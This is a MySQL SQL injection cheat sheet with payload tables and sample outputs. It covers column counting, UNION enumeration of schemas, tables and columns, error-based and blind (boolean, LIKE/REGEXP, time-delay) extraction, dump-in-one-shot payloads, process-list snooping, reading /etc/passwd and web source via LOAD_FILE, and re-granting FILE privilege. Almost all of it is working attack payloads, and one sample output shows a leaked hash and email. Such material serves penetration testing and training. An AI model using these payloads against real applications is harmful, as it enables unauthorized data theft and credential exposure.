SQL Injection

This method is effective when error reporting is enabled. It can help determine the number of columns in cases where the injection point occurs after a LIMIT clause. | Payload | Error | | ---------------------------- | --------------------------------------------------------------- | | `1' LIMIT 1,1 INTO @--+` | `The used SELECT statements have a different number of columns` | | `1' LIMIT 1,1 INTO @,@--+` | `The used SELECT statements have a different number of columns` | | `1' LIMIT 1,1 INTO @,@,@--+` | `No error means query uses 3 columns` | Since the result doesn't show any error it means the query uses 3 columns: `-1' UNION SELECT 1,2,3--+`.

This query retrieves the names of all schemas (databases) on the server.

UNION SELECT 1,2,3,4,...,GROUP_CONCAT(0x7c,schema_name,0x7c) FROM information_schema.schemata

This query retrieves the names of all tables within a specified schema (the schema name is represented by PLACEHOLDER).

UNION SELECT 1,2,3,4,...,GROUP_CONCAT(0x7c,table_name,0x7C) FROM information_schema.tables WHERE table_schema=PLACEHOLDER

This query retrieves the names of all columns in a specified table.

UNION SELECT 1,2,3,4,...,GROUP_CONCAT(0x7c,column_name,0x7C) FROM information_schema.columns WHERE table_name=...

This query aims to retrieve data from a specific table.

UNION SELECT 1,2,3,4,...,GROUP_CONCAT(0x7c,data,0x7C) FROM ...

Method for `MySQL >= 4.1`. | Payload | Output | | ------------------------------------------------------------------------- | -------------------------------------- | | `(1)and(SELECT * from db.users)=(1)` | Operand should contain **4** column(s) | | `1 and (1,2,3,4) = (SELECT * from db.users UNION SELECT 1,2,3,4 LIMIT 1)` | Column '**id**' cannot be null | Method for `MySQL 5` | Payload | Output | | ------------------------------------------------------------------------ | -------------------------------- | | `UNION SELECT * FROM (SELECT * FROM users JOIN users b)a` | Duplicate column name '**id**' | | `UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id))a` | Duplicate column name '**name**' | | `UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id,name))a` | Data |

Extracting data from the 4th column without knowing its name.

SELECT `4` FROM (SELECT 1,2,3,4,5,6 UNION SELECT * FROM USERS)DBNAME;

Injection example inside the query `select author_id,title from posts where author_id=[INJECT_HERE]`

MariaDB [dummydb]> SELECT AUTHOR_ID,TITLE FROM POSTS WHERE AUTHOR_ID=-1 UNION SELECT 1,(SELECT CONCAT(`3`,0X3A,`4`) FROM (SELECT 1,2,3,4,5,6 UNION SELECT * FROM USERS)A LIMIT 1,1);
+-----------+-----------------------------------------------------------------+
| author_id | title                                                           |
+-----------+-----------------------------------------------------------------+
|         1 | a45d4e080fc185dfa223aea3d0c371b6cc180a37:veronica80@example.org |
+-----------+-----------------------------------------------------------------+

| Name | Payload | | ------------ | ---------------------------------------------------------------------------------------------- | | GTID_SUBSET | `AND GTID_SUBSET(CONCAT('~',(SELECT version()),'~'),1337) -- -` | | JSON_KEYS | `AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT('~',(SELECT version()),'~')) USING utf8))) -- -` | | EXTRACTVALUE | `AND EXTRACTVALUE(1337,CONCAT('.','~',(SELECT version()),'~')) -- -` | | UPDATEXML | `AND UPDATEXML(1337,CONCAT('.','~',(SELECT version()),'~'),31337) -- -` | | EXP | `AND EXP(~(SELECT * FROM (SELECT CONCAT('~',(SELECT version()),'~','x'))x)) -- -` | | OR | `OR 1 GROUP BY CONCAT('~',(SELECT version()),'~',FLOOR(RAND(0)*2)) HAVING MIN(0) -- -` | | NAME_CONST | `AND (SELECT * FROM (SELECT NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)--` | | UUID_TO_BIN | `AND UUID_TO_BIN(version())='1` |

Works with `MySQL >= 4.1`

(SELECT 1 AND ROW(1,1)>(SELECT COUNT(*),CONCAT(CONCAT(@@VERSION),0X3A,FLOOR(RAND()*2))X FROM (SELECT 1 UNION SELECT 2)A GROUP BY X LIMIT 1))
'+(SELECT 1 AND ROW(1,1)>(SELECT COUNT(*),CONCAT(CONCAT(@@VERSION),0X3A,FLOOR(RAND()*2))X FROM (SELECT 1 UNION SELECT 2)A GROUP BY X LIMIT 1))+'

AND UPDATEXML(rand(),CONCAT(CHAR(126),version(),CHAR(126)),null)-
AND UPDATEXML(rand(),CONCAT(0x3a,(SELECT CONCAT(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)),null)--
AND UPDATEXML(rand(),CONCAT(0x3a,(SELECT CONCAT(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)),null)--
AND UPDATEXML(rand(),CONCAT(0x3a,(SELECT CONCAT(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)),null)--
AND UPDATEXML(rand(),CONCAT(0x3a,(SELECT CONCAT(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)),null)--

Shorter to read:

UPDATEXML(null,CONCAT(0x0a,version()),null)-- -
UPDATEXML(null,CONCAT(0x0a,(select table_name from information_schema.tables where table_schema=database() LIMIT 0,1)),null)-- -

Works with `MySQL >= 5.1`

?id=1 AND EXTRACTVALUE(RAND(),CONCAT(CHAR(126),VERSION(),CHAR(126)))--
?id=1 AND EXTRACTVALUE(RAND(),CONCAT(0X3A,(SELECT CONCAT(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)))--
?id=1 AND EXTRACTVALUE(RAND(),CONCAT(0X3A,(SELECT CONCAT(CHAR(126),table_name,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)))--
?id=1 AND EXTRACTVALUE(RAND(),CONCAT(0X3A,(SELECT CONCAT(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)))--
?id=1 AND EXTRACTVALUE(RAND(),CONCAT(0X3A,(SELECT CONCAT(CHAR(126),data_column,CHAR(126)) FROM data_schema.data_table LIMIT data_offset,1)))--

Works with `MySQL >= 5.0`

?id=1 AND (SELECT * FROM (SELECT NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)--
?id=1 AND (SELECT * FROM (SELECT NAME_CONST(user(),1),NAME_CONST(user(),1)) as x)--
?id=1 AND (SELECT * FROM (SELECT NAME_CONST(database(),1),NAME_CONST(database(),1)) as x)--

| Function | Example | Description | | ----------- | ------------------------------ | ------------------------------------------------------------------- | | `SUBSTR` | `SUBSTR(version(),1,1)=5` | Extracts a substring from a string (starting at any position) | | `SUBSTRING` | `SUBSTRING(version(),1,1)=5` | Extracts a substring from a string (starting at any position) | | `RIGHT` | `RIGHT(left(version(),1),1)=5` | Extracts a number of characters from a string (starting from right) | | `MID` | `MID(version(),1,1)=4` | Extracts a substring from a string (starting at any position) | | `LEFT` | `LEFT(version(),1)=4` | Extracts a number of characters from a string (starting from left) | Examples of Blind SQL injection using `SUBSTRING` or another equivalent function:

?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'
?id=1 AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'
?id=1 AND ASCII(LOWER(SUBSTR(version(),1,1)))=51

* TRUE: `if @@version starts with a 5`: ```sql 2100935' OR IF(MID(@@version,1,1)='5',sleep(1),1)='2 Response: HTTP/1.1 500 Internal Server Error ``` * FALSE: `if @@version starts with a 4`: ```sql 2100935' OR IF(MID(@@version,1,1)='4',sleep(1),1)='2 Response: HTTP/1.1 200 OK ```

AND MAKE_SET(VALUE_TO_EXTRACT<(SELECT(length(version()))),1)
AND MAKE_SET(VALUE_TO_EXTRACT<ascii(substring(version(),POS,1)),1)
AND MAKE_SET(VALUE_TO_EXTRACT<(SELECT(length(concat(login,password)))),1)
AND MAKE_SET(VALUE_TO_EXTRACT<ascii(substring(concat(login,password),POS,1)),1)

In MySQL, the `LIKE` operator can be used to perform pattern matching in queries. The operator allows the use of wildcard characters to match unknown or partial string values. This is especially useful in a blind SQL injection context when an attacker does not know the length or specific content of the data stored in the database. Wildcard Characters in LIKE: * **Percentage Sign** (`%`): This wildcard represents zero, one, or multiple characters. It can be used to match any sequence of characters. * **Underscore** (`_`): This wildcard represents a single character. It's used for more precise matching when you know the structure of the data but not the specific character at a particular position.

SELECT cust_code FROM customer WHERE cust_name LIKE 'k__l';
SELECT * FROM products WHERE product_name LIKE '%user_input%'

Blind SQL injection can also be performed using the MySQL `REGEXP` operator, which is used for matching a string against a regular expression. This technique is particularly useful when attackers want to perform more complex pattern matching than what the `LIKE` operator can offer. | Payload | Description | | ---------------------------------------------------------------------- | ----------------------------------- | | `' OR (SELECT username FROM users WHERE username REGEXP '^.{8,}$') --` | Checking length | | `' OR (SELECT username FROM users WHERE username REGEXP '[0-9]') --` | Checking for the presence of digits | | `' OR (SELECT username FROM users WHERE username REGEXP '^a[a-z]') --` | Checking for data starting by "a" |

The following SQL codes will delay the output from MySQL. * MySQL 4/5 : [`BENCHMARK()`](https://dev.mysql.com/doc/refman/8.4/en/select-benchmarking.html) ```sql +BENCHMARK(40000000,SHA1(1337))+ '+BENCHMARK(3200,SHA1(1))+' AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')) ``` * MySQL 5: [`SLEEP()`](https://dev.mysql.com/doc/refman/8.4/en/miscellaneous-functions.html#function_sleep) ```sql RLIKE SLEEP([SLEEPTIME]) OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME])) XOR(IF(NOW()=SYSDATE(),SLEEP(5),0))XOR AND SLEEP(10)=0 AND (SELECT 1337 FROM (SELECT(SLEEP(10-(IF((1=1),0,10))))) RANDSTR) ```

Extracting the length of the data.

1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE '%')#
1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE '___')# 
1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE '____')#
1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE '_____')#

Extracting the first character.

1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE 'A____')#
1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE 'S____')#

Extracting the second character.

1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE 'SA___')#
1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE 'SW___')#

Extracting the third character.

1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE 'SWA__')#
1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE 'SWB__')#
1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE 'SWI__')#

Extracting column_name.

1 AND (SELECT SLEEP(10) FROM DUAL WHERE (SELECT table_name FROM information_schema.columns WHERE table_schema=DATABASE() AND column_name LIKE '%pass%' LIMIT 0,1) LIKE '%')#

?id=1 AND IF(ASCII(SUBSTRING((SELECT USER()),1,1))>=100,1, BENCHMARK(2000000,MD5(NOW()))) --
?id=1 AND IF(ASCII(SUBSTRING((SELECT USER()), 1, 1))>=100, 1, SLEEP(3)) --
?id=1 OR IF(MID(@@version,1,1)='5',sleep(1),1)='2

DIOS (Dump In One Shot) SQL Injection is an advanced technique that allows an attacker to extract entire database contents in a single, well-crafted SQL injection payload. This method leverages the ability to concatenate multiple pieces of data into a single result set, which is then returned in one response from the database.

(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)#
(select (@) from (select(@:=0x00),(select (@) from (db_data.table_data) where (@)in (@:=concat(@,0x0D,0x0A,0x7C,' [ ',column_data1,' ] > ',column_data2,' > ',0x7C))))a)#

* SecurityIdiots ```sql make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@) ``` * Profexer ```sql (select(@)from(select(@:=0x00),(select(@)from(information_schema.columns)where(@)in(@:=concat(@,0x3C62723E,table_name,0x3a,column_name))))a) ``` * Dr.Z3r0 ```sql (select(select concat(@:=0xa7,(select count(*)from(information_schema.columns)where(@:=concat(@,0x3c6c693e,table_name,0x3a,column_name))),@)) ``` * M@dBl00d ```sql (Select export_set(5,@:=0,(select count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)) ``` * Zen ```sql +make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@) ``` * sharik ```sql (select(@a)from(select(@a:=0x00),(select(@a)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(@a)in(@a:=concat(@a,table_name,0x203a3a20,column_name,0x3c62723e))))a) ```

`INFORMATION_SCHEMA.PROCESSLIST` is a special table available in MySQL and MariaDB that provides information about active processes and threads within the database server. This table can list all operations that DB is performing at the moment. The `PROCESSLIST` table contains several important columns, each providing details about the current processes. Common columns include: * **ID** : The process identifier. * **USER** : The MySQL user who is running the process. * **HOST** : The host from which the process was initiated. * **DB** : The database the process is currently accessing, if any. * **COMMAND** : The type of command the process is executing (e.g., Query, Sleep). * **TIME** : The time in seconds that the process has been running. * **STATE** : The current state of the process. * **INFO** : The text of the statement being executed, or NULL if no statement is being executed.

SELECT * FROM INFORMATION_SCHEMA.PROCESSLIST;

| ID | USER | HOST | DB | COMMAND | TIME | STATE | INFO | | --- | --------- | ---------------- | ------ | ------- | ---- | ---------- | ------------------------ | | 1 | root | localhost | testdb | Query | 10 | executing | SELECT * FROM some_table | | 2 | app_uset | 192.168.0.101 | appdb | Sleep | 300 | sleeping | NULL | | 3 | gues_user | example.com:3360 | NULL | Connect | 0 | connecting | NULL |

UNION SELECT 1,state,info,4 FROM INFORMATION_SCHEMA.PROCESSLIST #

Dump in one shot query to extract the whole content of the table.

UNION SELECT 1,(SELECT(@)FROM(SELECT(@:=0X00),(SELECT(@)FROM(information_schema.processlist)WHERE(@)IN(@:=CONCAT(@,0x3C62723E,state,0x3a,info))))a),3,4 #

Need the `filepriv`, otherwise you will get the error : `ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement`

UNION ALL SELECT LOAD_FILE('/etc/passwd') --
UNION ALL SELECT TO_base64(LOAD_FILE('/var/www/html/index.php'));

If you are `root` on the database, you can re-enable the `LOAD_FILE` using the following query

GRANT FILE ON *.* TO 'root'@'localhost'; FLUSH PRIVILEGES;#